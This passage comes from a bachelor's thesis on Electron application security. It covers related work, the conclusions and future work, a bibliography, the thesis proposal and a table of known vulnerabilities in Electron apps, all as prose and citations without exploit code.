heavily restrict the inputs the renderer process can pass to them. 8. Related Work 8.1. Foundational Research A lot of the research on Node.js is also relevant for Electron. In 2012, Ojamaa and Düüna [81] did an early exploration of Node.js security, comparing it to the previously known considerations for JavaScript in the browser. This bears some similarity to the research on Electron. Back then, Node.js was a fairly new frame- work that brought previously client-side code to a new target, the server, introducing new privileged APIs in the process. They also explored a number of similar attack vectors, like prototype pollution, malicious packages and the lack of a sandbox. In January 2017, Tal [16] published a book on Node.js security, focussing on server applications using the Express framework. It however also goes into injection attacks and XSS flaws as well as dependency management. In February 2018, Staicu et. al. [82] did a large-scale study across modules to find injec- tion vulnerabilities, focussing on the lack of a sandbox in Node.js. They presented Synode, an automatic mitigation mechanism for these problems. Samuel et. al. [83] started a continuously maintained roadmap on Node.js security that explains various threats and attack vectors and lays out how they can be addressed. Security software company Snyk [84] publishes a yearly report on the state of security in open source packages, including packages on NPM. In addition, Tal and Picado [85] also posted a checklist of security best practices for Node.js on Snyk’s blog in February 2019. 8.2. Research on Electron In July 2017, Carettoni, one of the founders of Doyensec, gave a talk [86] explaining the problems of Node integration and why context isolation is necessary. They also released a white paper [33] with a checklist of common security pitfalls in Electron apps. This checklist formed the basis for Electronegativity. The same month, Austin [87] gave a talk on how they exploited bugs in Markdown parsers to gain XSS in most popular IDEs built on Electron and how they used Node integration and shell.openExternal() to escalate these into RCE. In December 2017, Väli [88] did a study manually gathering statistics on 30 Electron apps and their libraries, web preferences and remote content. They further did a manual analysis for XSS vulnerabilities that can be escalated to RCE using Node integration. In August 2018, Kinugawa [41] gave a talk on how a lack of context isolation can be used to bypass Node integration. Kinugawa had originally discovered that Node integration can be bypassed this way and context isolation was added as an option to Electron due to their report. In December 2018, Rapley et. al. [89] studied 15 popular Electron apps for vulnerabilities in their dependencies by checking for a difference of 150 or more commits between the included version and the upstream version. They also introduced the Mayall framework for malicious updates in Electron apps through insecure update mechanisms. Most of the research on Electron security is not done in a formal academic context or for conferences but by companies and individuals. The vulnerability reports listed in Appendix A.1 cover a good portion of the published results. Further, Doyensec have many write-ups and other research on their blog [90]. 8.3. Research on Similar Frameworks 49 8.3. Research on Similar Frameworks There are also some other frameworks for developing desktop applications using web technologies that are a potential alternative to Electron. First and foremost, NW.js1 started out as node-webkit and is actually a predecessor to Electron. NW.js is similar to Electron with a few notable differences [91]: For NW.js apps, the entry point is an HTML page as opposed to a JS file. NW.js requires a special patched version of Chromium, while Electron uses the official release. And NW.js offers a legacy release with support for Windows XP, whereas Electron only supports Windows 7 and up. In May 2015, Benoit [92] published a book on NW.js that explains the framework and also goes into some security considerations. The official documentation [93] also contains a section on security but focusses solely on the differences between Node frames and normal frames. Further, there is Tauri2 (previously called Proton) which promises faster and smaller applications [94]. It is written in Rust and relies on the systems’ native webview components using the web-view library3 instead of Chromium. They do also explicitly focus on security [95]. Finally, there is NeutralinoJs [96] which focusses on lightweight applications [97]. NeutralinoJs also uses the systems’ native webview components and further ships with its own lightweight server alternative to Node.js [98]. No external security research has been published on either of the two yet as they are still young. 1https://nwjs.io/ 2https://tauri.studio/ 3https://github.com/Boscop/web-view 9. Conclusion This thesis has shown that while there is of course overlap between the attack vectors for the web and Electron, there are often important differences in severity, and Electron brings its own list of security pitfalls that need to be considered: First and foremost, XSS is particularly dangerous in the context of Electron. Depending on the settings, it can be directly escalated to RCE or used to interfere with the privileged part of the application to jumpstart further attacks. To avoid this and other problems, it is crucial to choose secure settings like disabling Node integration and enabling context isolation. Further, functions like shell.openExternal() are more dangerous than most developers seem to be aware. And even though it might not always be as easy as for websites, injecting payloads in Electron apps is definitely possible through protocol handlers, remote content, etc. Existing vulnerabilities in three Electron apps were discussed. This revealed the following common secu- rity weaknesses that were considered further in the next steps: XSS due to use of dangerous functions, RCE due to use of shell.openExternal(), XSS escalation to RCE due to Node integration and XSS escalation to RCE due to insecure preload or no context isolation. A method for analysing Electron apps large-scale was presented, consisting of three steps with the first step collecting open source apps from GitHub and both open and closed source apps from the Electron app list; the second step automatically downloading these apps and extracting the source code from closed source apps; and the final step analysing the apps using npm audit and a custom version of the Electronegativity security scanner. The results from this analysis gave an insight into the security-consciousness of Electron app developers. They showed that while on the one hand, the situation is improving with more and more settings moving to secure defaults and developers starting to be aware of the necessary security considerations for Electron, on the other hand, a lot is still left to do. A worrying amount of apps is using Electron versions that have been unsupported for a long time, the use of potentially dangerous functions is common and most apps don’t go beyond the defaults, not explicitly setting secure preferences and not making use of additional security features like CSPs. To help with this, recommendations were given to the Electron developers and individual app developers. Most importantly, Electron needs to improve its documentation to consistently push secure practices, they should implement safe wrappers around dangerous functions for common use cases and continue the move to secure defaults. App developers need to regularly update their dependencies, particularly Electron itself, and consciously set secure preferences. Using automated security scanners like Electronegativity can help catch problems early. Finally, the manual analysis showed that there are still low-hanging fruit vulnerabilities even in fairly high- profile Electron apps. The found exploitable vulnerabilities have been reported to the respective projects with one having already been fixed as of the time of writing. 9.1. Future Work The analysis presented in this thesis gave a snapshot into the security practices of Electron apps as of mid 2020. It would be interesting to see how these change over time. Previous research has focussed only on analysing a small number of apps (see Section 8.2). Using the GitHub API, it should be possible to obtain older versions of a large number of apps and run the scripts explained in this thesis on them. This could of 9.1. Future Work 51 course also be done with future versions of the apps once they are released. Further, one could look at particular subsets of apps to analyse. For example, it was shown that some apps are only wrappers around existing websites. For these apps, secure settings are even more crucial, and analysing just these apps could show if there are any differences in the findings. Alternatively, one could filter the apps to be considered by when they were last updated or when the last commit was made to weed out discontinued apps. Future work could also focus on particular aspects, going more in-depth where this thesis only gave a broad overview of the situation. For example, the CSPs used by the apps were already collected by the scripts but not further analysed. Of course, similar research could also be done for the other frameworks discussed in Section 8.3. Going in the other direction, there are also possibilities to extend the analysis. For example, while most closed source apps could be extracted successfully, for some the automated extractors failed. Some apps were also missed due to false negatives in the Electron detection. Naturally, one could also think of more checks to be run. One potential area here are the installers and updaters that are commonly used for Electron apps. Vulnerabilities have already been discovered in those [99], so they present an additional attack vector. Apart from analysing many apps, improving tools to analyse individual apps is also important. Elec- tronegativity offers great potential here. It would for example be helpful to many developers to improve the checks that report items as “review manually” to avoid false positives. And finally, security researchers should of course continue to look for specific vulnerabilities in Electron apps and report them to the projects. 10. Bibliography [1] OpenJS Foundation and The Electron contributors, “Homepage,” Electron, 02-Jun-2020. [Online]. Avail- able: https://www.electronjs.org/. [Accessed: 13-Jul-2020] [2] K. Sawicki, “Atom Shell is now Electron,” Electron Blog, 23-Apr-2015. [Online]. Available: https:// www.electronjs.org/blog/electron. [Accessed: 13-Jul-2020] [3] C. Kerr and S. Nguy, “Electron Governance,” Electron Blog, 18-Mar-2019. [Online]. Available: https: //www.electronjs.org/blog/governance. [Accessed: 13-Jul-2020] [4] F. Rieseberg, “Electron joins the OpenJS Foundation,” Electron Blog, 11-Dec-2020. [Online]. Available: https://www.electronjs.org/blog/electron-joins-openjsf. [Accessed: 13-Jul-2020] [5] OpenJS Foundation, “Hosted Projects,” OpenJS Foundation, 26-Jun-2020. [Online]. Available: https: //openjsf.org/projects/. [Accessed: 13-Jul-2020] [6] C. Griffith and L. Wells, Electron: From Beginner to Pro, 1st ed. Apress, 2017 [Online]. Available: https://www.apress.com/de/book/9781484228258. [Accessed: 12-Jul-2020] [7] F. Rieseberg, S. Vohr, J. Goldberg, C. Kerr, and C. Hawkes, “Application Architecture,” Electron Documentation, 30-Sep-2019. [Online]. Available: https://www.electronjs.org/docs/tutorial/ application-architecture. [Accessed: 13-Jul-2020] [8] C. Nokes, “Deep dive into Electron’s main and renderer processes,” 26-Oct-2016. [Online]. Avail- able: https://cameronnokes.com/blog/deep-dive-into-electron's-main-and-renderer- processes/. [Accessed: 13-Jul-2020] [9] S. Powers, Learning Node: Moving to the Server-Side. O’Reilly Media, Inc., 2016. [10] M. Burda et al., “Writing Your First Electron App,” Electron Documentation, 03-Feb-2020. [Online]. Available: https://www.electronjs.org/docs/tutorial/first-app. [Accessed: 13-Jul-2020] [11] C. Zhao et al., “Application Distribution,” Electron Documentation, 13-Apr-2020. [Online]. Avail- able: https://www.electronjs.org/docs/tutorial/application-distribution. [Accessed: 25- Jul-2020] [12] F. Rieseberg et al., “Notifications (Windows, Linux, macOS),” Electron Documentation, 08-Jan-2019. [Online]. Available: https://www.electronjs.org/docs/tutorial/notifications. [Accessed: 13- Jul-2020] [13] M. Lee, J. Kleinschmidt, V. Hashimoto, F. Rieseberg, and C. Kerr, “macOS Dock,” Electron Documen- tation, 31-Mar-2020. [Online]. Available: https://www.electronjs.org/docs/tutorial/macos- dock. [Accessed: 13-Jul-2020] [14] The OWASP Foundation, “OWASP Top Ten Web Application Security Risks,” 20-Nov-2017. [Online]. Available: https://owasp.org/www-project-top-ten/. [Accessed: 09-Jun-2020] [15] D. Ray and J. Ligatti, “Defining Injection Attacks,” in Information Security, Cham, 2014, pp. 425–441, doi: 10.1007/978-3-319-13257-0_26. [16] L. Tal, Essential Node.js Security. Lulu.com, 2017. 10. Bibliography 53 [17] The OWASP Foundation, “A2:2017-Broken Authentication,” OWASP Top Ten 2017. [On- line]. Available: https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_ A2-Broken_Authentication.html. [Accessed: 09-Jun-2020] [18] The MITRE Corporation, “CWE-200: Exposure of Sensitive Information to an Unauthorized Ac- tor (4.0),” Common Weakness Enumeration. [Online]. Available: https://cwe.mitre.org/data/ definitions/200.html. [Accessed: 09-Jun-2020] [19] L. Carettoni and L. Stella, “Electronegativity Checks,” Electronegativity Wiki, 14-Apr-2020. [On- line]. Available: https://github.com/doyensec/electronegativity/wiki#electronegativity- checks. [Accessed: 13-Jun-2020] [20] PortSwigger Ltd., “What is XXE (XML external entity) injection? Tutorial & Examples,” Web Security Academy. [Online]. Available: https://portswigger.net/web-security/xxe. [Accessed: 10-Jun- 2020] [21] The MITRE Corporation, “CWE-284: Improper Access Control (4.0),” Common Weakness Enumer- ation. [Online]. Available: https://cwe.mitre.org/data/definitions/284.html. [Accessed: 10- Jun-2020] [22] The OWASP Foundation, “A6:2017-Security Misconfiguration,” OWASP Top Ten 2017. [On- line]. Available: https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_ A6-Security_Misconfiguration.html. [Accessed: 10-Jun-2020] [23] S. Gupta and B. B. Gupta, “Cross-Site Scripting (XSS) attacks and defense mechanisms: classifica- tion and state-of-the-art,” Int J Syst Assur Eng Manag, vol. 8, no. 1, pp. 512–530, Jan. 2017, doi: 10.1007/s13198-015-0376-0. [24] Acunetix Ltd, “What is Insecure Deserialization?” Web Security Zone (The Acunetix Blog), 07- Dec-2017. [Online]. Available: https://www.acunetix.com/blog/articles/what-is-insecure- deserialization/. [Accessed: 11-Jun-2020] [25] OpSecX, “Exploiting Node.js deserialization bug for Remote Code Execution,” OpSecX, 08- Feb-2017. [Online]. Available: https://opsecx.com/index.php/2017/02/08/exploiting-node- js-deserialization-bug-for-remote-code-execution/. [Accessed: 11-Jun-2020] [26] M. Morszczyzna, “What’s really wrong with node_modules and why this is your fault,” Hacker Noon, 27-Nov-2017. [Online]. Available: https://hackernoon.com/whats-really-wrong-with- node-modules-and-why-this-is-your-fault-8ac9fa893823. [Accessed: 25-Jul-2020] [27] A. Baldwin, “npm audit: identify and fix insecure dependencies,” The npm Blog, 09-May-2018. [On- line]. Available: https://blog.npmjs.org/post/173719309445/npm-audit-identify-and-fix- insecure. [Accessed: 11-Jun-2020] [28] The OWASP Foundation, “A10:2017-Insufficient Logging & Monitoring,” OWASP Top Ten 2017. [On- line]. Available: https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_ A10-Insufficient_Logging%252526Monitoring.html. [Accessed: 11-Jun-2020] [29] P. Tsakalidis, “How To Backdoor Any Electron Application,” Context Information Security Blog, 24-Jan-2019. [Online]. Available: https://www.contextis.com/en/blog/basic-electron- framework-exploitation. [Accessed: 13-Jun-2020] [30] J. Harrison, “Issue #123: Code Signing of ASAR files, especially for Windows operating system,” electron/asar Issue Tracker on GitHub, 27-May-2017. [Online]. Available: https://github.com/ 10. Bibliography 54 electron/asar/issues/123. [Accessed: 13-Jun-2020] [31] M. Stockley, “How scammers abuse Google Search’s open redirect feature,” Naked Security, 15- May-2020. [Online]. Available: https://nakedsecurity.sophos.com/2020/05/15/how-scammers- abuse-google-searchs-open-redirect-feature/. [Accessed: 13-Jun-2020] [32] K. Kotowicz, “Open redirects that matter,” Google Bughunter University, 20-Oct-2016. [On- line]. Available: https://sites.google.com/site/bughunteruniversity/best-reports/ openredirectsthatmatter. [Accessed: 13-Jun-2020] [33] L. Carettoni, “Electron Security Checklist: A guide for developers and auditors,” Doyensec, LLC., Jul. 2017 [Online]. Available: https://doyensec.com/resources/us-17-Carettoni- Electronegativity-A-Study-Of-Electron-Security-wp.pdf. [Accessed: 13-Jun-2020] [34] M. Bentkowski, “Vulnerability in Hangouts Chat: from open redirect to code execution,” MB blog, 23-Jul-2018. [Online]. Available: https://blog.bentkowski.info/2018/07/vulnerability- in-hangouts-chat-aka-how.html. [Accessed: 13-Jun-2020] [35] M. Austin, “I found the path to full Remote Code Execution in @SecurityMB’s open redirect in Google Chat Desktop, good for @GoogleVRP for paying it out!” Twitter, 27-Jul-2018. [Online]. Available: https://twitter.com/mattaustin/status/1022648925902200832. [Accessed: 13-Jun-2020] [36] MDN contributors, “Content Security Policy (CSP),” MDN Web Docs, 02-Jun-2020. [Online]. Available: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP. [Accessed: 13-Jun-2020] [37] S. Lekies, K. Kotowicz, S. Groß, E. A. Vela Nava, and M. Johns, “Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets,” in Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications Security, Dallas, Texas, USA, 2017, pp. 1709–1723, doi: 10.1145/3133956.3134091. [38] F. Rieseberg et al., “Electron Security Warnings,” Electron Documentation, 01-Jun-2020. [On- line]. Available: https://www.electronjs.org/docs/tutorial/security#checklist-security- recommendations. [Accessed: 14-Jun-2020] [39] Jeremy Rose et al., “Breaking Changes,” Electron Documentation, 19-May-2020. [Online]. Available: https://www.electronjs.org/docs/breaking-changes. [Accessed: 13-Jun-2020] [40] S. Miskin, “Pull Request #19732: docs: update contextIsolation documentation on access to globals,” electron/electron Issue Tracker on GitHub, 13-Aug-2019. [Online]. Available: https://github.com/ electron/electron/pull/19732. [Accessed: 10-Jul-2020] [41] M. Kinugawa, “Electron: Abusing the lack of context isolation,” CureCon 08/2018, 18-Aug-2018 [On- line]. Available: https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of- context-isolation-curecon-en. [Accessed: 14-Jul-2020] [42] S. Attard and M. Lee, “contextBridge,” Electron Documentation, 28-Jan-2020. [Online]. Available: https://www.electronjs.org/docs/api/context-bridge. [Accessed: 10-Jul-2020] [43] S. Attard, “Context Isolation,” Electron Documentation, 11-May-2020. [Online]. Available: https:// www.electronjs.org/docs/tutorial/context-isolation. [Accessed: 10-Jul-2020] [44] C. Zhao et al., “Remote module,” Electron Documentation, 01-Jun-2020. [Online]. Available: https: //www.electronjs.org/docs/api/remote. [Accessed: 14-Jun-2020] [45] C. Zhao et al., “Class: BrowserWindow,” Electron Documentation, 01-Jun-2020. [Online]. Available: https://www.electronjs.org/docs/api/browser-window#class-browserwindow. [Accessed: 14- 10. Bibliography 55 Jun-2020] [46] J. Rose, “Electron’s ‘remote’ module considered harmful,” Medium, 06-Feb-2020. [Online]. Avail- able: https://medium.com/@nornagon/electrons-remote-module-considered-harmful- 70d69500f31. [Accessed: 14-Jun-2020] [47] M. Burda et al., “sandbox Option,” Electron Documentation, 01-Jun-2020. [Online]. Available: https: //www.electronjs.org/docs/api/sandbox-option. [Accessed: 14-Jun-2020] [48] L. Stella, “CUSTOM_ARGUMENTS_JS_CHECK,” Electronegativity Wiki, 09-Apr-2019. [Online]. Available: https://github.com/doyensec/electronegativity. [Accessed: 14-Jun-2020] [49] C. Zhao et al., “ses.setPermissionRequestHandler(handler),” Electron Documentation, 01-Jun-2020. [Online]. Available: https://www.electronjs.org/docs/api/session# sessetpermissionrequesthandlerhandler. [Accessed: 14-Jun-2020] [50] C. Zhao et al., “protocol,” Electron Documentation, 01-Jun-2020. [Online]. Available: https://www. electronjs.org/docs/api/protocol. [Accessed: 14-Jun-2020] [51] C. Zhao et al., “app,” Electron Documentation, 01-Jun-2020. [Online]. Available: https://www. electronjs.org/docs/api/app. [Accessed: 14-Jun-2020] [52] L. Carettoni, “Subverting Electron Apps via Insecure Preload,” Doyensec Blog, 03-Apr-2019. [Online]. Available: https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via- insecure-preload.html. [Accessed: 14-Jun-2020] [53] L. Carettoni, “Democratizing Electron Security,” Covalence 2020, 24-Jan-2020 [On- line]. Available: https://doyensec.com/resources/Covalence-2020-Carettoni- DemocratizingElectronSecurity.pdf. [Accessed: 10-Jul-2020] [54] The Leanote contributors, “leanote/leanote,” GitHub, 09-Apr-2019. [Online]. Available: https:// github.com/leanote/leanote. [Accessed: 25-Jun-2020] [55] S. Väli, “Issue #284: XSS to code execution,” leanote/desktop-app Issue Tracker on GitHub, 01-Dec- 2017. [Online]. Available: https://github.com/leanote/desktop-app/issues/284. [Accessed: 25- Jun-2020] [56] Packt Publishing and jQuery Foundation,“.append(),” jQuery API Documentation, 17-May-2016. [On- line]. Available: https://api.jquery.com/append/. [Accessed: 25-Jun-2020] [57] D. Sacerdote, “nc — arbitrary TCP and UDP connections and listens,” Ubuntu Manpages, 27- Dec-2018. [Online]. Available: http://manpages.ubuntu.com/manpages/focal/man1/nc_openbsd. 1.html#client/server%20model. [Accessed: 26-Jun-2020] [58] R. Walikar, “Nodejs RCE and a simple reverse shell,” i break software, 23-Aug-2016. [Online]. Available: https://ibreak.software/2016/08/nodejs-rce-and-a-simple-reverse-shell/. [Accessed: 26- Jun-2020] [59] imagemlt, “Issue #345: markdown feature XSS to code execution,” leanote/desktop-app Issue Tracker on GitHub, 08-Oct-2019. [Online]. Available: https://github.com/leanote/desktop-app/issues/ 345. [Accessed: 26-Jun-2020] [60] The Leanote contributors, “Creating groups and adding members,” Leanote manual, 10-Jul-2015. [On- line]. Available: http://leanote.leanote.com/post/group. [Accessed: 26-Jun-2020] [61] The Leanote contributors, “Sharing notebooks and notes with friends and groups,” Leanote manual, 10- 10. Bibliography 56 Jul-2015. [Online]. Available: http://leanote.leanote.com/post/share. [Accessed: 26-Jun-2020] [62] Kinsta Inc., “WordPress Market Share Statistics (2011-2019),” 05-Feb-2019. [Online]. Available: https: //kinsta.com/wordpress-market-share/. [Accessed: 27-Jun-2020] [63] S. Balkhi, “How to Use the WordPress Desktop App for Your Self-Hosted Blog,” WPBeginner, 12-Mar-2018. [Online]. Available: https://www.wpbeginner.com/beginners-guide/how-to-use- the-wordpress-desktop-app-for-your-self-hosted-blog/. [Accessed: 27-Jun-2020] [64] M. Austin, “Remote Code Execution in Wordpress Desktop,” HackerOne, 31-Dec-2017. [Online]. Avail- able: https://hackerone.com/reports/301458. [Accessed: 27-Jun-2020] [65] codecolorist, “Electron’s bug, ShellExecute to blame?” Medium, 09-Feb-2018. [Online]. Available: https: //medium.com/0xcc/electrons-bug-shellexecute-to-blame-cacb433d0d62. [Accessed: 28-Jun- 2020] [66] A. Al-Qabandi, “Microsoft Edge RCE - (CVE-2018-8495),” 10-Oct-2018. [Online]. Available: https: //leucosite.com/Microsoft-Edge-RCE/. [Accessed: 28-Jun-2020] [67] thewhiteh4t, “Ubisoft UPlay RCE Exploit,” 16-Nov-2018. [Online]. Available: https://thewhiteh4t. github.io/2018/11/16/ubisoft-uplay-rce-exploit.html. [Accessed: 28-Jun-2020] [68] D. Penner, “Fun With Custom URI Schemes,” 22-May-2019. [Online]. Available: https://zero.lol/ 2019-05-22-fun-with-uri-handlers/. [Accessed: 28-Jun-2020] [69] C. Plett, E. Ross, T. Petersen, M. Jacobs, L. Poggemeyer, and B. Mammen, “msdt,” Microsoft Docs, 03-Jun-2020. [Online]. Available: https://docs.microsoft.com/en-us/windows-server/ administration/windows-commands/msdt. [Accessed: 28-Jun-2020] [70] M. Satran, D. Batchelor, and A. Wilson, “Getting Started with Parameter-Value Arguments,” Windows Dev Center, 27-Nov-2019. [Online]. Available: https://docs.microsoft.com/en-us/windows/ win32/search/getting-started-with-parameter-value-arguments. [Accessed: 28-Jun-2020] [71] Rocket.Chat Technologies Corp., “RocketChat/Rocket.Chat,” GitHub, 28-Jun-2020. [Online]. Available: https://github.com/RocketChat/Rocket.Chat. [Accessed: 28-Jun-2020] [72] M. Austin, “Remote Code Execution in Rocket.Chat Desktop,” HackerOne, 10-Oct-2017. [Online]. Available: https://hackerone.com/reports/276031. [Accessed: 28-Jun-2020] [73] R. Nascimento, “Pull Request #8451: Improve markdown parser code,” RocketChat/Rocket.Chat on GitHub, 10-Oct-2017. [Online]. Available: https://github.com/RocketChat/Rocket.Chat/pull/ 8451. [Accessed: 28-Jun-2020] [74] L. Carettoni and L. Stella, “Introduction,” Electronegativity Wiki, 14-Apr-2020. [Online]. Available: https://github.com/doyensec/electronegativity/wiki. [Accessed: 13-Jun-2020] [75] L. Masinter, T. Berners-Lee, and R. T. Fielding, “RFC 3986: Uniform Resource Identifier (URI): Generic Syntax,” IETF, Jan-2005. [Online]. Available: https://tools.ietf.org/html/rfc3986#section- 3.1. [Accessed: 22-Jul-2020] [76] C. Kerr et al., “Supported Versions,” Electron Documentation, 06-Jul-2020. [Online]. Available: https: //www.electronjs.org/docs/tutorial/support#supported-versions. [Accessed: 09-Jul-2020] [77] Snyk Ltd., “Electron vulnerabilities,” Snyk, 07-Jul-2020. [Online]. Available: https://snyk.io/vuln/ npm:electron. [Accessed: 09-Jul-2020] [78] GitHub Inc., “electron/releases README,” GitHub, 09-Jul-2020. [Online]. Available: https://github. 10. Bibliography 57 com/electron/releases. [Accessed: 09-Jul-2020] [79] The Jitsi contributors, “jitsi/jitsi-meet,” GitHub, 29-Jun-2020. [Online]. Available: https://github. com/jitsi/jitsi-meet. [Accessed: 10-Jul-2020] [80] C. Hamerling, “Pull Request #389: Add protocol to open conference links with the app - Replaces #263,” jitsi/jitsi-meet-electron Issue Tracker on GitHub, 09-Jun-2020. [Online]. Available: https: //github.com/jitsi/jitsi-meet-electron/pull/389. [Accessed: 10-Jul-2020] [81] A. Ojamaa and K. Düüna, “Security Assessment of Node.js Platform,” in Information Systems Security, Berlin, Heidelberg, 2012, pp. 35–43, doi: 10.1007/978-3-642-35130-3_3. [82] C.-A. Staicu, M. Pradel, and B. Livshits, “Synode: Understanding and Automatically Preventing In- jection Attacks on Node.js,” in Proceedings 2018 Network and Distributed System Security Sym- posium, San Diego, CA, 2018, doi: 10.14722/ndss.2018.23071 [Online]. Available: https://www. ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_07A-2_Staicu_paper.pdf. [Ac- cessed: 18-Jul-2020] [83] M. Samuel et al., “A Roadmap for Node.js Security,” 03-May-2018. [Online]. Available: https:// nodesecroadmap.fyi/. [Accessed: 18-Jul-2020] [84] A. Miller and S. Zitzman, “The State of Open Source Security 2020,” Snyk Ltd., Jun. 2020 [Online]. Available: https://snyk.io/open-source-security-report/. [Accessed: 18-Jul-2020] [85] L. Tal and J. Picado, “10 npm Security Best Practices,” Snyk Blog, 19-Feb-2019. [Online]. Available: https://snyk.io/blog/ten-npm-security-best-practices/. [Accessed: 18-Jul-2020] [86] L. Carettoni, “Electronegativity: A Study of Electron Security,” Black Hat USA 2017, 27-Jul- 2017 [Online]. Available: https://www.blackhat.com/docs/us-17/thursday/us-17-Carettoni- Electronegativity-A-Study-Of-Electron-Security.pdf. [Accessed: 18-Jul-2020] [87] M. Austin, “MarkDoom: How I Hacked Every Major IDE in 2 Weeks,” LevelUp 2017, 17-Jul-2017 [Online]. Available: https://www.youtube.com/watch?v=nnEnwJbiO-A. [Accessed: 18-Jul-2020] [88] S. Väli, “Analysis of Electron-Based Applications to Identify XSS Flaws Escalating to Code Execution in Open-Source Applications,” Dec. 2017 [Online]. Available: https://digikogu.taltech.ee/en/ Download/01ec8ff7-fff8-4a83-86a4-4048178a3ed5. [Accessed: 18-Jul-2020] [89] A. Rapley, X. Bellekens, L. A. Shepherd, and C. McLean, “Mayall: A Framework for Desktop JavaScript Auditing and Post-Exploitation Analysis,” Informatics, vol. 5, no. 4, p. 46, Dec. 2018, doi: 10.3390/in- formatics5040046. [Online]. Available: https://www.mdpi.com/2227-9709/5/4/46. [Accessed: 18- Jul-2020] [90] Doyensec LLC, “Doyensec’s Blog.” [Online]. Available: https://blog.doyensec.com/. [Accessed: 19- Jul-2020] [91] F. Rieseberg, M. Lee, and C. Kerr, “Technical Differences Between Electron and NW.js,” Electron Doc- umentation, 08-Apr-2020. [Online]. Available: https://www.electronjs.org/docs/development/ electron-vs-nwjs. [Accessed: 23-Jul-2020] [92] A. Benoit, NW.js Essentials. Packt Publishing Ltd, 2015. [93] R. Wang, C. Liu, O. Aleynik, and Y. Fan, “Security in NW.js,” NW.js Documentation, 09-Jun-2016. [Online]. Available: https://docs.nwjs.io/en/latest/For%20Users/Advanced/Security%20in% 20NW.js/. [Accessed: 18-Jul-2020] 10. Bibliography 58 [94] The Tauri contributors, “Tauri Studio,” 12-Jul-2020. [Online]. Available: https://tauri.studio/. [Accessed: 18-Jul-2020] [95] The Tauri contributors, “Security,” Tauri Documentation, 25-May-2020. [Online]. Available: https: //tauri.studio/docs/about/security. [Accessed: 18-Jul-2020] [96] The Neutralino contributors, “NeutralinoJs,” 16-Jul-2020. [Online]. Available: https://neutralino. js.org/. [Accessed: 18-Jul-2020] [97] The Neutralino contributors, “Why Neutralinojs is better for lightweight apps? — proof,” GitHub, 16-May-2020. [Online]. Available: https://github.com/neutralinojs/evaluation. [Accessed: 18- Jul-2020] [98] S. Suranga, “Neutralinojs Internals,” 99X Technology Blog, 01-Mar-2019. [Online]. Available: https: //www.99xtechnology.com/blog/research/neutralinojs-internals/. [Accessed: 23-Jul-2020] [99] L. Stella, “Signature Validation Bypass Leading to RCE In Electron-Updater,” Doyensec’s Blog, 24-Feb- 2020. [Online]. Available: https://blog.doyensec.com/2020/02/24/electron-updater-update- signature-bypass.html. [Accessed: 20-Jul-2020] A. Appendix A.1. Vulnerabilities That Were Considered For a full list of the vulnerabilities that were considered for chapter 4, see Table A.1. A.2. Exposé The following exposé was submitted as the proposal for this bachelor’s thesis. It served as the task definition. Introduction and Motivation Electron is a framework for building cross-platform applications using regular web technologies like Java- Script, HTML and CSS. It combines the Chromium browser engine with the Node.js native APIs. Electron apps are getting more and more popular, often replacing previous native ones. There are already hundreds of applications built on Electron, including popular messaging apps like Slack Desktop, Skype and WhatsApp Desktop, IDEs like Atom and Visual Studio Code or even disk image writing utilities like Balena Etcher.1 When looking at the security aspects of these applications, one has to consider that they are a combination of desktop and web apps and adjust the threat model accordingly. While many of the well-known attack vectors of the web still apply, they may be more or less severe or lead to different problems in the context of Electron. These considerations will vary between apps shipping their own internal (local) “websites” and those merely wrapping an existing (remote) website. For example, an XSS vulnerability on a website is already a critical problem. In an Electron app, it may however—in addition—even lead to an RCE if the JavaScript code has access to native Node.js APIs. On the other hand, a CSRF vulnerability in an internal website may not be as critical if the surrounding “browser” doesn’t hold any session data. Goal The first part of this bachelor’s thesis will focus on the theoretical background and explore known attacks, comparing their impact when affecting a web application and an Electron application. It will explain the reasons for the differences in severity and effects. Furthermore, it will describe the steps already being taken to avoid vulnerabilites and minimize the risks, including for example recommendations given by the Electron developers2 and the default values of security- relevant settings. Finally, it will look at documented existing vulnerabilities in Electron apps to get a first insight into the state of Electron security in the wild. The second part of the thesis will then try to give a broader picture of this situation in the form of an empirical analysis of open and closed-source applications using Electron. Statistics on security-related practices of a large number of Electron apps will be collected. These statistics will include static parameters like the Electron version used (which allows determining the underlying Chromium and Node.js versions to check for known vulnerabilities in those). In addition, they will also query whether the apps follow best 1GitHub Inc.: “Electron Apps”. https://www.electronjs.org/apps 2GitHub Inc.: “Security, Native Capabilities, and Your Responsibility: Electron Security Warnings”. https://www.electronjs. org/docs/tutorial/security#electron-security-warnings A.2. Exposé 60 Table A.1.: Documented vulnerabilities that were considered for chapter 4. The bold vulnerabilities were selected for further discussion. A group of 1 means XSS due to use of dangerous functions, 2 means RCE due to use of shell.openExternal(), 3 means XSS escalation to RCE due to Node integration and 4 means XSS escalation to RCE due to insecure preload or no context isolation. Application Groups Cause Report URL Atom 1, 3 allowing <iframe> with file:// URLs https://statuscode.ch/2017/11/from-markdown-to- rce-in-atom Bitwarden Desktop 2 login URLs passed to shell.openExternal() https://cdn.bitwarden.net/misc/Bitwarden% 20Security%20Assessment%20Report.pdf (p. 5) Discord Desktop 4 insecure preload script allowing IPC message abuse https://blog.doyensec.com/2019/04/03/subverting- electron-apps-via-insecure-preload.html GitHub Desktop 2 value from protocol handler passed to shell.openExternal() (insecure filtering due to macOS oddities) https://pwning.re/2018/12/04/github-desktop- rce/ Joplin Desktop 3, 4 lack of context isolation, allowing to override Function.prototype.call() https://blog.devsecurity.eu/en/blog/joplin- electron-rce Leanote 1, 3 rendering note titles as HTML https://github.com/leanote/desktop- app/issues/284 Mattermost Desktop 2 images passed to shell.openExternal() https://dev.to/nlowe/rce-in-mattermost-desktop- earlier-than-420-5aef Rocket.Chat Desktop 1, 4 insecure Markdown parsing, no context isolation allowing to override RegExp.prototype.test() https://hackerone.com/reports/276031 Signal Desktop 1 Rendering messages as HTML https://web.archive.org/web/20200427095259/ https://ivan.barreraoro.com.ar/signal-desktop- html-tag-injection/ (archived) Signal Desktop 1 Rendering reply quotes as HTML https://web.archive.org/web/20190517134857/ 